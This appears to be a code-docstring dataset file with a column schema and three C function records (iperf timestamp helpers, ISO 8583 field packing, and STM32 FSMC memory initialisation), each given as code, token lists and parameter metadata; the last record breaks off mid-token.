hexsha
stringlengths
40
40
repo
stringlengths
5
105
path
stringlengths
3
173
license
sequence
language
stringclasses
1 value
identifier
stringlengths
1
438
return_type
stringlengths
1
106
original_string
stringlengths
21
40.7k
original_docstring
stringlengths
18
13.4k
docstring
stringlengths
11
3.24k
docstring_tokens
sequence
code
stringlengths
14
20.4k
code_tokens
sequence
short_docstring
stringlengths
0
4.36k
short_docstring_tokens
sequence
comment
sequence
parameters
list
docstring_params
dict
8b1bee988dbc78f27125f1901c86e29f6087c11c
katakk/iperf
src/Timestamp.h
[ "MIT" ]
C
after
bool
bool after( timeval right ) { return mTime.tv_sec > right.tv_sec || (mTime.tv_sec == right.tv_sec && mTime.tv_usec > right.tv_usec); }
/* ------------------------------------------------------------------- * return true if my timestamp is after the right timestamp. * ------------------------------------------------------------------- */
return true if my timestamp is after the right timestamp.
[ "return", "true", "if", "my", "timestamp", "is", "after", "the", "right", "timestamp", "." ]
bool after( timeval right ) { return mTime.tv_sec > right.tv_sec || (mTime.tv_sec == right.tv_sec && mTime.tv_usec > right.tv_usec); }
[ "bool", "after", "(", "timeval", "right", ")", "{", "return", "mTime", ".", "tv_sec", ">", "right", ".", "tv_sec", "||", "(", "mTime", ".", "tv_sec", "==", "right", ".", "tv_sec", "&&", "mTime", ".", "tv_usec", ">", "right", ".", "tv_usec", ")", ";", "}" ]
return true if my timestamp is after the right timestamp.
[ "return", "true", "if", "my", "timestamp", "is", "after", "the", "right", "timestamp", "." ]
[]
[ { "param": "right", "type": "timeval" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "right", "type": "timeval", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
8b1bee988dbc78f27125f1901c86e29f6087c11c
katakk/iperf
src/Timestamp.h
[ "MIT" ]
C
fraction
double
double fraction(Timestamp currentTime, Timestamp endTime) { if ( (currentTime.after(*this)) && (endTime.after(currentTime)) ) { return(((double)currentTime.subUsec(*this)) / ((double)endTime.subUsec(*this))); } else { return -1.0; } }
/** * This function returns the fraction of time elapsed after the beginning * till the end */
This function returns the fraction of time elapsed after the beginning till the end
[ "This", "function", "returns", "the", "fraction", "of", "time", "elapsed", "after", "the", "beginning", "till", "the", "end" ]
double fraction(Timestamp currentTime, Timestamp endTime) { if ( (currentTime.after(*this)) && (endTime.after(currentTime)) ) { return(((double)currentTime.subUsec(*this)) / ((double)endTime.subUsec(*this))); } else { return -1.0; } }
[ "double", "fraction", "(", "Timestamp", "currentTime", ",", "Timestamp", "endTime", ")", "{", "if", "(", "(", "currentTime", ".", "after", "(", "*", "this", ")", ")", "&&", "(", "endTime", ".", "after", "(", "currentTime", ")", ")", ")", "{", "return", "(", "(", "(", "double", ")", "currentTime", ".", "subUsec", "(", "*", "this", ")", ")", "/", "(", "(", "double", ")", "endTime", ".", "subUsec", "(", "*", "this", ")", ")", ")", ";", "}", "else", "{", "return", "-1.0", ";", "}", "}" ]
This function returns the fraction of time elapsed after the beginning till the end
[ "This", "function", "returns", "the", "fraction", "of", "time", "elapsed", "after", "the", "beginning", "till", "the", "end" ]
[]
[ { "param": "currentTime", "type": "Timestamp" }, { "param": "endTime", "type": "Timestamp" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "currentTime", "type": "Timestamp", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "endTime", "type": "Timestamp", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
c30c6a845127b1013dcbfe7c8aad9606289d6c0a
riskydigital/iso-8583
lib/org/dl_c_iso8583_v0_0_3/dl_iso8583_fields.c
[ "MIT" ]
C
_unpack_iso_ASCHEX
DL_ERR
DL_ERR _unpack_iso_ASCHEX ( DL_UINT16 iField, DL_ISO8583_MSG *ioMsg, const DL_ISO8583_FIELD_DEF *iFieldDefPtr, DL_UINT8 **ioPtr ) { DL_ERR err = kDL_ERR_NONE; DL_UINT8 *tmpPtr = *ioPtr; DL_UINT16 size = 0; DL_UINT8 *tmpDataPtr = NULL; /* variable length handling */ err = VarLen_Get(&tmpPtr,iFieldDefPtr->varLen,iFieldDefPtr->len,&size); /* allocate field */ if ( !err ) err = _DL_ISO8583_MSG_AllocField(iField,size,ioMsg,&tmpDataPtr); if ( !err ) { DL_UINT8 ch; /* if size is 'odd' then ignore the leading nibble, as this is a pad character */ if ( size % 2 ) /* odd */ { ch = *tmpPtr & 0x0f; *tmpDataPtr++ = DL_NIBBLE_2_ASCHEX(ch); tmpPtr++; size -= 1; } size /= 2; while ( size-- > 0 ) { ch = (*tmpPtr >> 4) & 0xf; *tmpDataPtr++ = DL_NIBBLE_2_ASCHEX(ch); ch = *tmpPtr & 0xf; *tmpDataPtr++ = DL_NIBBLE_2_ASCHEX(ch); tmpPtr++; } *tmpDataPtr = kDL_ASCII_NULL; /* null terminate */ } *ioPtr = tmpPtr; return err; }
// unpacks ISO Numeric (bcd format) // NB if iSize is odd then we have a padding char on left // (but don't include when unpacking) // NB doesn't remove any leading padding (0 nibbles)
unpacks ISO Numeric (bcd format) NB if iSize is odd then we have a padding char on left (but don't include when unpacking) NB doesn't remove any leading padding (0 nibbles)
[ "unpacks", "ISO", "Numeric", "(", "bcd", "format", ")", "NB", "if", "iSize", "is", "odd", "then", "we", "have", "a", "padding", "char", "on", "left", "(", "but", "don", "'", "t", "include", "when", "unpacking", ")", "NB", "doesn", "'", "t", "remove", "any", "leading", "padding", "(", "0", "nibbles", ")" ]
DL_ERR _unpack_iso_ASCHEX ( DL_UINT16 iField, DL_ISO8583_MSG *ioMsg, const DL_ISO8583_FIELD_DEF *iFieldDefPtr, DL_UINT8 **ioPtr ) { DL_ERR err = kDL_ERR_NONE; DL_UINT8 *tmpPtr = *ioPtr; DL_UINT16 size = 0; DL_UINT8 *tmpDataPtr = NULL; err = VarLen_Get(&tmpPtr,iFieldDefPtr->varLen,iFieldDefPtr->len,&size); if ( !err ) err = _DL_ISO8583_MSG_AllocField(iField,size,ioMsg,&tmpDataPtr); if ( !err ) { DL_UINT8 ch; if ( size % 2 ) { ch = *tmpPtr & 0x0f; *tmpDataPtr++ = DL_NIBBLE_2_ASCHEX(ch); tmpPtr++; size -= 1; } size /= 2; while ( size-- > 0 ) { ch = (*tmpPtr >> 4) & 0xf; *tmpDataPtr++ = DL_NIBBLE_2_ASCHEX(ch); ch = *tmpPtr & 0xf; *tmpDataPtr++ = DL_NIBBLE_2_ASCHEX(ch); tmpPtr++; } *tmpDataPtr = kDL_ASCII_NULL; } *ioPtr = tmpPtr; return err; }
[ "DL_ERR", "_unpack_iso_ASCHEX", "(", "DL_UINT16", "iField", ",", "DL_ISO8583_MSG", "*", "ioMsg", ",", "const", "DL_ISO8583_FIELD_DEF", "*", "iFieldDefPtr", ",", "DL_UINT8", "*", "*", "ioPtr", ")", "{", "DL_ERR", "err", "=", "kDL_ERR_NONE", ";", "DL_UINT8", "*", "tmpPtr", "=", "*", "ioPtr", ";", "DL_UINT16", "size", "=", "0", ";", "DL_UINT8", "*", "tmpDataPtr", "=", "NULL", ";", "err", "=", "VarLen_Get", "(", "&", "tmpPtr", ",", "iFieldDefPtr", "->", "varLen", ",", "iFieldDefPtr", "->", "len", ",", "&", "size", ")", ";", "if", "(", "!", "err", ")", "err", "=", "_DL_ISO8583_MSG_AllocField", "(", "iField", ",", "size", ",", "ioMsg", ",", "&", "tmpDataPtr", ")", ";", "if", "(", "!", "err", ")", "{", "DL_UINT8", "ch", ";", "if", "(", "size", "%", "2", ")", "{", "ch", "=", "*", "tmpPtr", "&", "0x0f", ";", "*", "tmpDataPtr", "++", "=", "DL_NIBBLE_2_ASCHEX", "(", "ch", ")", ";", "tmpPtr", "++", ";", "size", "-=", "1", ";", "}", "size", "/=", "2", ";", "while", "(", "size", "--", ">", "0", ")", "{", "ch", "=", "(", "*", "tmpPtr", ">>", "4", ")", "&", "0xf", ";", "*", "tmpDataPtr", "++", "=", "DL_NIBBLE_2_ASCHEX", "(", "ch", ")", ";", "ch", "=", "*", "tmpPtr", "&", "0xf", ";", "*", "tmpDataPtr", "++", "=", "DL_NIBBLE_2_ASCHEX", "(", "ch", ")", ";", "tmpPtr", "++", ";", "}", "*", "tmpDataPtr", "=", "kDL_ASCII_NULL", ";", "}", "*", "ioPtr", "=", "tmpPtr", ";", "return", "err", ";", "}" ]
unpacks ISO Numeric (bcd format) NB if iSize is odd then we have a padding char on left (but don't include when unpacking) NB doesn't remove any leading padding (0 nibbles)
[ "unpacks", "ISO", "Numeric", "(", "bcd", "format", ")", "NB", "if", "iSize", "is", "odd", "then", "we", "have", "a", "padding", "char", "on", "left", "(", "but", "don", "'", "t", "include", "when", "unpacking", ")", "NB", "doesn", "'", "t", "remove", "any", "leading", "padding", "(", "0", "nibbles", ")" ]
[ "/* variable length handling */", "/* allocate field */", "/* if size is 'odd' then ignore the leading nibble, as this is a pad character */", "/* odd */", "/* null terminate */" ]
[ { "param": "iField", "type": "DL_UINT16" }, { "param": "ioMsg", "type": "DL_ISO8583_MSG" }, { "param": "iFieldDefPtr", "type": "DL_ISO8583_FIELD_DEF" }, { "param": "ioPtr", "type": "DL_UINT8" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "iField", "type": "DL_UINT16", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "ioMsg", "type": "DL_ISO8583_MSG", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "iFieldDefPtr", "type": "DL_ISO8583_FIELD_DEF", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "ioPtr", "type": "DL_UINT8", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
c30c6a845127b1013dcbfe7c8aad9606289d6c0a
riskydigital/iso-8583
lib/org/dl_c_iso8583_v0_0_3/dl_iso8583_fields.c
[ "MIT" ]
C
VarLen_Put
DL_ERR
static DL_ERR VarLen_Put ( DL_UINT8 iVarLenType, DL_UINT32 iActLen, DL_UINT32 *ioReqLen, DL_UINT8 **ioPtr ) { DL_ERR err = kDL_ERR_NONE; DL_UINT8 *tmpPtr = *ioPtr; switch ( iVarLenType ) { case kDL_ISO8583_FIXED: /* do nothing */ break; case kDL_ISO8583_LLVAR: iActLen %= 100; *ioReqLen = iActLen; *tmpPtr++ = output_bcd_byte(iActLen); break; case kDL_ISO8583_LLLVAR: iActLen %= 1000; *ioReqLen = iActLen; *tmpPtr++ = output_bcd_byte(iActLen/100); *tmpPtr++ = output_bcd_byte(iActLen%100); break; case kDL_ISO8583_LLLLVAR: iActLen %= 10000; *ioReqLen = iActLen; *tmpPtr++ = output_bcd_byte(iActLen/100); *tmpPtr++ = output_bcd_byte(iActLen%100); break; default: /* [ERROR] unsupported length type */ err = kDL_ERR_OTHER; } /* end-switch */ *ioPtr = tmpPtr; return err; }
// outputs the variable length element // iVarLenType - e.g. kDL_ISO8583_LLVAR
outputs the variable length element iVarLenType - e.g.
[ "outputs", "the", "variable", "length", "element", "iVarLenType", "-", "e", ".", "g", "." ]
static DL_ERR VarLen_Put ( DL_UINT8 iVarLenType, DL_UINT32 iActLen, DL_UINT32 *ioReqLen, DL_UINT8 **ioPtr ) { DL_ERR err = kDL_ERR_NONE; DL_UINT8 *tmpPtr = *ioPtr; switch ( iVarLenType ) { case kDL_ISO8583_FIXED: break; case kDL_ISO8583_LLVAR: iActLen %= 100; *ioReqLen = iActLen; *tmpPtr++ = output_bcd_byte(iActLen); break; case kDL_ISO8583_LLLVAR: iActLen %= 1000; *ioReqLen = iActLen; *tmpPtr++ = output_bcd_byte(iActLen/100); *tmpPtr++ = output_bcd_byte(iActLen%100); break; case kDL_ISO8583_LLLLVAR: iActLen %= 10000; *ioReqLen = iActLen; *tmpPtr++ = output_bcd_byte(iActLen/100); *tmpPtr++ = output_bcd_byte(iActLen%100); break; default: err = kDL_ERR_OTHER; } *ioPtr = tmpPtr; return err; }
[ "static", "DL_ERR", "VarLen_Put", "(", "DL_UINT8", "iVarLenType", ",", "DL_UINT32", "iActLen", ",", "DL_UINT32", "*", "ioReqLen", ",", "DL_UINT8", "*", "*", "ioPtr", ")", "{", "DL_ERR", "err", "=", "kDL_ERR_NONE", ";", "DL_UINT8", "*", "tmpPtr", "=", "*", "ioPtr", ";", "switch", "(", "iVarLenType", ")", "{", "case", "kDL_ISO8583_FIXED", ":", "break", ";", "case", "kDL_ISO8583_LLVAR", ":", "iActLen", "%=", "100", ";", "*", "ioReqLen", "=", "iActLen", ";", "*", "tmpPtr", "++", "=", "output_bcd_byte", "(", "iActLen", ")", ";", "break", ";", "case", "kDL_ISO8583_LLLVAR", ":", "iActLen", "%=", "1000", ";", "*", "ioReqLen", "=", "iActLen", ";", "*", "tmpPtr", "++", "=", "output_bcd_byte", "(", "iActLen", "/", "100", ")", ";", "*", "tmpPtr", "++", "=", "output_bcd_byte", "(", "iActLen", "%", "100", ")", ";", "break", ";", "case", "kDL_ISO8583_LLLLVAR", ":", "iActLen", "%=", "10000", ";", "*", "ioReqLen", "=", "iActLen", ";", "*", "tmpPtr", "++", "=", "output_bcd_byte", "(", "iActLen", "/", "100", ")", ";", "*", "tmpPtr", "++", "=", "output_bcd_byte", "(", "iActLen", "%", "100", ")", ";", "break", ";", "default", ":", "err", "=", "kDL_ERR_OTHER", ";", "}", "*", "ioPtr", "=", "tmpPtr", ";", "return", "err", ";", "}" ]
outputs the variable length element iVarLenType - e.g.
[ "outputs", "the", "variable", "length", "element", "iVarLenType", "-", "e", ".", "g", "." ]
[ "/* do nothing */", "/* [ERROR] unsupported length type */", "/* end-switch */" ]
[ { "param": "iVarLenType", "type": "DL_UINT8" }, { "param": "iActLen", "type": "DL_UINT32" }, { "param": "ioReqLen", "type": "DL_UINT32" }, { "param": "ioPtr", "type": "DL_UINT8" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "iVarLenType", "type": "DL_UINT8", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "iActLen", "type": "DL_UINT32", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "ioReqLen", "type": "DL_UINT32", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "ioPtr", "type": "DL_UINT8", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
8b5139bfe916290cfe17ff839503797f52c41921
RoboCraft/HD44780
examples/stm32l1xx_ldiscovery/StdPeripheralDriver/src/stm32l1xx_fsmc.c
[ "MIT" ]
C
FSMC_NORSRAMInit
void
void FSMC_NORSRAMInit(FSMC_NORSRAMInitTypeDef* FSMC_NORSRAMInitStruct) { /* Check the parameters */ assert_param(IS_FSMC_NORSRAM_BANK(FSMC_NORSRAMInitStruct->FSMC_Bank)); assert_param(IS_FSMC_MUX(FSMC_NORSRAMInitStruct->FSMC_DataAddressMux)); assert_param(IS_FSMC_MEMORY(FSMC_NORSRAMInitStruct->FSMC_MemoryType)); assert_param(IS_FSMC_MEMORY_WIDTH(FSMC_NORSRAMInitStruct->FSMC_MemoryDataWidth)); assert_param(IS_FSMC_BURSTMODE(FSMC_NORSRAMInitStruct->FSMC_BurstAccessMode)); assert_param(IS_FSMC_ASYNWAIT(FSMC_NORSRAMInitStruct->FSMC_AsynchronousWait)); assert_param(IS_FSMC_WAIT_POLARITY(FSMC_NORSRAMInitStruct->FSMC_WaitSignalPolarity)); assert_param(IS_FSMC_WRAP_MODE(FSMC_NORSRAMInitStruct->FSMC_WrapMode)); assert_param(IS_FSMC_WAIT_SIGNAL_ACTIVE(FSMC_NORSRAMInitStruct->FSMC_WaitSignalActive)); assert_param(IS_FSMC_WRITE_OPERATION(FSMC_NORSRAMInitStruct->FSMC_WriteOperation)); assert_param(IS_FSMC_WAITE_SIGNAL(FSMC_NORSRAMInitStruct->FSMC_WaitSignal)); assert_param(IS_FSMC_EXTENDED_MODE(FSMC_NORSRAMInitStruct->FSMC_ExtendedMode)); assert_param(IS_FSMC_WRITE_BURST(FSMC_NORSRAMInitStruct->FSMC_WriteBurst)); assert_param(IS_FSMC_ADDRESS_SETUP_TIME(FSMC_NORSRAMInitStruct->FSMC_ReadWriteTimingStruct->FSMC_AddressSetupTime)); assert_param(IS_FSMC_ADDRESS_HOLD_TIME(FSMC_NORSRAMInitStruct->FSMC_ReadWriteTimingStruct->FSMC_AddressHoldTime)); assert_param(IS_FSMC_DATASETUP_TIME(FSMC_NORSRAMInitStruct->FSMC_ReadWriteTimingStruct->FSMC_DataSetupTime)); assert_param(IS_FSMC_TURNAROUND_TIME(FSMC_NORSRAMInitStruct->FSMC_ReadWriteTimingStruct->FSMC_BusTurnAroundDuration)); assert_param(IS_FSMC_CLK_DIV(FSMC_NORSRAMInitStruct->FSMC_ReadWriteTimingStruct->FSMC_CLKDivision)); assert_param(IS_FSMC_DATA_LATENCY(FSMC_NORSRAMInitStruct->FSMC_ReadWriteTimingStruct->FSMC_DataLatency)); assert_param(IS_FSMC_ACCESS_MODE(FSMC_NORSRAMInitStruct->FSMC_ReadWriteTimingStruct->FSMC_AccessMode)); /* Bank1 NOR/SRAM control register configuration */ FSMC_Bank1->BTCR[FSMC_NORSRAMInitStruct->FSMC_Bank] = (uint32_t)FSMC_NORSRAMInitStruct->FSMC_DataAddressMux | FSMC_NORSRAMInitStruct->FSMC_MemoryType | FSMC_NORSRAMInitStruct->FSMC_MemoryDataWidth | FSMC_NORSRAMInitStruct->FSMC_BurstAccessMode | FSMC_NORSRAMInitStruct->FSMC_AsynchronousWait | FSMC_NORSRAMInitStruct->FSMC_WaitSignalPolarity | FSMC_NORSRAMInitStruct->FSMC_WrapMode | FSMC_NORSRAMInitStruct->FSMC_WaitSignalActive | FSMC_NORSRAMInitStruct->FSMC_WriteOperation | FSMC_NORSRAMInitStruct->FSMC_WaitSignal | FSMC_NORSRAMInitStruct->FSMC_ExtendedMode | FSMC_NORSRAMInitStruct->FSMC_WriteBurst; if(FSMC_NORSRAMInitStruct->FSMC_MemoryType == FSMC_MemoryType_NOR) { FSMC_Bank1->BTCR[FSMC_NORSRAMInitStruct->FSMC_Bank] |= (uint32_t)FSMC_BCR1_FACCEN; } /* Bank1 NOR/SRAM timing register configuration */ FSMC_Bank1->BTCR[FSMC_NORSRAMInitStruct->FSMC_Bank+1] = (uint32_t)FSMC_NORSRAMInitStruct->FSMC_ReadWriteTimingStruct->FSMC_AddressSetupTime | (FSMC_NORSRAMInitStruct->FSMC_ReadWriteTimingStruct->FSMC_AddressHoldTime << 4) | (FSMC_NORSRAMInitStruct->FSMC_ReadWriteTimingStruct->FSMC_DataSetupTime << 8) | (FSMC_NORSRAMInitStruct->FSMC_ReadWriteTimingStruct->FSMC_BusTurnAroundDuration << 16) | (FSMC_NORSRAMInitStruct->FSMC_ReadWriteTimingStruct->FSMC_CLKDivision << 20) | (FSMC_NORSRAMInitStruct->FSMC_ReadWriteTimingStruct->FSMC_DataLatency << 24) | FSMC_NORSRAMInitStruct->FSMC_ReadWriteTimingStruct->FSMC_AccessMode; /* Bank1 NOR/SRAM timing register for write configuration, if extended mode is used */ if(FSMC_NORSRAMInitStruct->FSMC_ExtendedMode == FSMC_ExtendedMode_Enable) { assert_param(IS_FSMC_ADDRESS_SETUP_TIME(FSMC_NORSRAMInitStruct->FSMC_WriteTimingStruct->FSMC_AddressSetupTime)); assert_param(IS_FSMC_ADDRESS_HOLD_TIME(FSMC_NORSRAMInitStruct->FSMC_WriteTimingStruct->FSMC_AddressHoldTime)); assert_param(IS_FSMC_DATASETUP_TIME(FSMC_NORSRAMInitStruct->FSMC_WriteTimingStruct->FSMC_DataSetupTime)); assert_param(IS_FSMC_CLK_DIV(FSMC_NORSRAMInitStruct->FSMC_WriteTimingStruct->FSMC_CLKDivision)); assert_param(IS_FSMC_DATA_LATENCY(FSMC_NORSRAMInitStruct->FSMC_WriteTimingStruct->FSMC_DataLatency)); assert_param(IS_FSMC_ACCESS_MODE(FSMC_NORSRAMInitStruct->FSMC_WriteTimingStruct->FSMC_AccessMode)); FSMC_Bank1E->BWTR[FSMC_NORSRAMInitStruct->FSMC_Bank] = (uint32_t)FSMC_NORSRAMInitStruct->FSMC_WriteTimingStruct->FSMC_AddressSetupTime | (FSMC_NORSRAMInitStruct->FSMC_WriteTimingStruct->FSMC_AddressHoldTime << 4 )| (FSMC_NORSRAMInitStruct->FSMC_WriteTimingStruct->FSMC_DataSetupTime << 8) | (FSMC_NORSRAMInitStruct->FSMC_WriteTimingStruct->FSMC_CLKDivision << 20) | (FSMC_NORSRAMInitStruct->FSMC_WriteTimingStruct->FSMC_DataLatency << 24) | FSMC_NORSRAMInitStruct->FSMC_WriteTimingStruct->FSMC_AccessMode; } else { FSMC_Bank1E->BWTR[FSMC_NORSRAMInitStruct->FSMC_Bank] = 0x0FFFFFFF; } }
/** * @brief Initializes the FSMC NOR/SRAM Banks according to the specified * parameters in the FSMC_NORSRAMInitStruct. * @param FSMC_NORSRAMInitStruct : pointer to a FSMC_NORSRAMInitTypeDef * structure that contains the configuration information for * the FSMC NOR/SRAM specified Banks. * @retval None */
@brief Initializes the FSMC NOR/SRAM Banks according to the specified parameters in the FSMC_NORSRAMInitStruct. @param FSMC_NORSRAMInitStruct : pointer to a FSMC_NORSRAMInitTypeDef structure that contains the configuration information for the FSMC NOR/SRAM specified Banks. @retval None
[ "@brief", "Initializes", "the", "FSMC", "NOR", "/", "SRAM", "Banks", "according", "to", "the", "specified", "parameters", "in", "the", "FSMC_NORSRAMInitStruct", ".", "@param", "FSMC_NORSRAMInitStruct", ":", "pointer", "to", "a", "FSMC_NORSRAMInitTypeDef", "structure", "that", "contains", "the", "configuration", "information", "for", "the", "FSMC", "NOR", "/", "SRAM", "specified", "Banks", ".", "@retval", "None" ]
void FSMC_NORSRAMInit(FSMC_NORSRAMInitTypeDef* FSMC_NORSRAMInitStruct) { assert_param(IS_FSMC_NORSRAM_BANK(FSMC_NORSRAMInitStruct->FSMC_Bank)); assert_param(IS_FSMC_MUX(FSMC_NORSRAMInitStruct->FSMC_DataAddressMux)); assert_param(IS_FSMC_MEMORY(FSMC_NORSRAMInitStruct->FSMC_MemoryType)); assert_param(IS_FSMC_MEMORY_WIDTH(FSMC_NORSRAMInitStruct->FSMC_MemoryDataWidth)); assert_param(IS_FSMC_BURSTMODE(FSMC_NORSRAMInitStruct->FSMC_BurstAccessMode)); assert_param(IS_FSMC_ASYNWAIT(FSMC_NORSRAMInitStruct->FSMC_AsynchronousWait)); assert_param(IS_FSMC_WAIT_POLARITY(FSMC_NORSRAMInitStruct->FSMC_WaitSignalPolarity)); assert_param(IS_FSMC_WRAP_MODE(FSMC_NORSRAMInitStruct->FSMC_WrapMode)); assert_param(IS_FSMC_WAIT_SIGNAL_ACTIVE(FSMC_NORSRAMInitStruct->FSMC_WaitSignalActive)); assert_param(IS_FSMC_WRITE_OPERATION(FSMC_NORSRAMInitStruct->FSMC_WriteOperation)); assert_param(IS_FSMC_WAITE_SIGNAL(FSMC_NORSRAMInitStruct->FSMC_WaitSignal)); assert_param(IS_FSMC_EXTENDED_MODE(FSMC_NORSRAMInitStruct->FSMC_ExtendedMode)); assert_param(IS_FSMC_WRITE_BURST(FSMC_NORSRAMInitStruct->FSMC_WriteBurst)); assert_param(IS_FSMC_ADDRESS_SETUP_TIME(FSMC_NORSRAMInitStruct->FSMC_ReadWriteTimingStruct->FSMC_AddressSetupTime)); assert_param(IS_FSMC_ADDRESS_HOLD_TIME(FSMC_NORSRAMInitStruct->FSMC_ReadWriteTimingStruct->FSMC_AddressHoldTime)); assert_param(IS_FSMC_DATASETUP_TIME(FSMC_NORSRAMInitStruct->FSMC_ReadWriteTimingStruct->FSMC_DataSetupTime)); assert_param(IS_FSMC_TURNAROUND_TIME(FSMC_NORSRAMInitStruct->FSMC_ReadWriteTimingStruct->FSMC_BusTurnAroundDuration)); assert_param(IS_FSMC_CLK_DIV(FSMC_NORSRAMInitStruct->FSMC_ReadWriteTimingStruct->FSMC_CLKDivision)); assert_param(IS_FSMC_DATA_LATENCY(FSMC_NORSRAMInitStruct->FSMC_ReadWriteTimingStruct->FSMC_DataLatency)); assert_param(IS_FSMC_ACCESS_MODE(FSMC_NORSRAMInitStruct->FSMC_ReadWriteTimingStruct->FSMC_AccessMode)); FSMC_Bank1->BTCR[FSMC_NORSRAMInitStruct->FSMC_Bank] = (uint32_t)FSMC_NORSRAMInitStruct->FSMC_DataAddressMux | FSMC_NORSRAMInitStruct->FSMC_MemoryType | FSMC_NORSRAMInitStruct->FSMC_MemoryDataWidth | FSMC_NORSRAMInitStruct->FSMC_BurstAccessMode | FSMC_NORSRAMInitStruct->FSMC_AsynchronousWait | FSMC_NORSRAMInitStruct->FSMC_WaitSignalPolarity | FSMC_NORSRAMInitStruct->FSMC_WrapMode | FSMC_NORSRAMInitStruct->FSMC_WaitSignalActive | FSMC_NORSRAMInitStruct->FSMC_WriteOperation | FSMC_NORSRAMInitStruct->FSMC_WaitSignal | FSMC_NORSRAMInitStruct->FSMC_ExtendedMode | FSMC_NORSRAMInitStruct->FSMC_WriteBurst; if(FSMC_NORSRAMInitStruct->FSMC_MemoryType == FSMC_MemoryType_NOR) { FSMC_Bank1->BTCR[FSMC_NORSRAMInitStruct->FSMC_Bank] |= (uint32_t)FSMC_BCR1_FACCEN; } FSMC_Bank1->BTCR[FSMC_NORSRAMInitStruct->FSMC_Bank+1] = (uint32_t)FSMC_NORSRAMInitStruct->FSMC_ReadWriteTimingStruct->FSMC_AddressSetupTime | (FSMC_NORSRAMInitStruct->FSMC_ReadWriteTimingStruct->FSMC_AddressHoldTime << 4) | (FSMC_NORSRAMInitStruct->FSMC_ReadWriteTimingStruct->FSMC_DataSetupTime << 8) | (FSMC_NORSRAMInitStruct->FSMC_ReadWriteTimingStruct->FSMC_BusTurnAroundDuration << 16) | (FSMC_NORSRAMInitStruct->FSMC_ReadWriteTimingStruct->FSMC_CLKDivision << 20) | (FSMC_NORSRAMInitStruct->FSMC_ReadWriteTimingStruct->FSMC_DataLatency << 24) | FSMC_NORSRAMInitStruct->FSMC_ReadWriteTimingStruct->FSMC_AccessMode; if(FSMC_NORSRAMInitStruct->FSMC_ExtendedMode == FSMC_ExtendedMode_Enable) { assert_param(IS_FSMC_ADDRESS_SETUP_TIME(FSMC_NORSRAMInitStruct->FSMC_WriteTimingStruct->FSMC_AddressSetupTime)); assert_param(IS_FSMC_ADDRESS_HOLD_TIME(FSMC_NORSRAMInitStruct->FSMC_WriteTimingStruct->FSMC_AddressHoldTime)); assert_param(IS_FSMC_DATASETUP_TIME(FSMC_NORSRAMInitStruct->FSMC_WriteTimingStruct->FSMC_DataSetupTime)); assert_param(IS_FSMC_CLK_DIV(FSMC_NORSRAMInitStruct->FSMC_WriteTimingStruct->FSMC_CLKDivision)); assert_param(IS_FSMC_DATA_LATENCY(FSMC_NORSRAMInitStruct->FSMC_WriteTimingStruct->FSMC_DataLatency)); assert_param(IS_FSMC_ACCESS_MODE(FSMC_NORSRAMInitStruct->FSMC_WriteTimingStruct->FSMC_AccessMode)); FSMC_Bank1E->BWTR[FSMC_NORSRAMInitStruct->FSMC_Bank] = (uint32_t)FSMC_NORSRAMInitStruct->FSMC_WriteTimingStruct->FSMC_AddressSetupTime | (FSMC_NORSRAMInitStruct->FSMC_WriteTimingStruct->FSMC_AddressHoldTime << 4 )| (FSMC_NORSRAMInitStruct->FSMC_WriteTimingStruct->FSMC_DataSetupTime << 8) | (FSMC_NORSRAMInitStruct->FSMC_WriteTimingStruct->FSMC_CLKDivision << 20) | (FSMC_NORSRAMInitStruct->FSMC_WriteTimingStruct->FSMC_DataLatency << 24) | FSMC_NORSRAMInitStruct->FSMC_WriteTimingStruct->FSMC_AccessMode; } else { FSMC_Bank1E->BWTR[FSMC_NORSRAMInitStruct->FSMC_Bank] = 0x0FFFFFFF; } }
[ "void", "FSMC_NORSRAMInit", "(", "FSMC_NORSRAMInitTypeDef", "*", "FSMC_NORSRAMInitStruct", ")", "{", "assert_param", "(", "IS_FSMC_NORSRAM_BANK", "(", "FSMC_NORSRAMInitStruct", "->", "FSMC_Bank", ")", ")", ";", "assert_param", "(", "IS_FSMC_MUX", "(", "FSMC_NORSRAMInitStruct", "->", "FSMC_DataAddressMux", ")", ")", ";", "assert_param", "(", "IS_FSMC_MEMORY", "(", "FSMC_NORSRAMInitStruct", "->", "FSMC_MemoryType", ")", ")", ";", "assert_param", "(", "IS_FSMC_MEMORY_WIDTH", "(", "FSMC_NORSRAMInitStruct", "->", "FSMC_MemoryDataWidth", ")", ")", ";", "assert_param", "(", "IS_FSMC_BURSTMODE", "(", "FSMC_NORSRAMInitStruct", "->", "FSMC_BurstAccessMode", ")", ")", ";", "assert_param", "(", "IS_FSMC_ASYNWAIT", "(", "FSMC_NORSRAMInitStruct", "->", "FSMC_AsynchronousWait", ")", ")", ";", "assert_param", "(", "IS_FSMC_WAIT_POLARITY", "(", "FSMC_NORSRAMInitStruct", "->", "FSMC_WaitSignalPolarity", ")", ")", ";", "assert_param", "(", "IS_FSMC_WRAP_MODE", "(", "FSMC_NORSRAMInitStruct", "->", "FSMC_WrapMode", ")", ")", ";", "assert_param", "(", "IS_FSMC_WAIT_SIGNAL_ACTIVE", "(", "FSMC_NORSRAMInitStruct", "->", "FSMC_WaitSignalActive", ")", ")", ";", "assert_param", "(", "IS_FSMC_WRITE_OPERATION", "(", "FSMC_NORSRAMInitStruct", "->", "FSMC_WriteOperation", ")", ")", ";", "assert_param", "(", "IS_FSMC_WAITE_SIGNAL", "(", "FSMC_NORSRAMInitStruct", "->", "FSMC_WaitSignal", ")", ")", ";", "assert_param", "(", 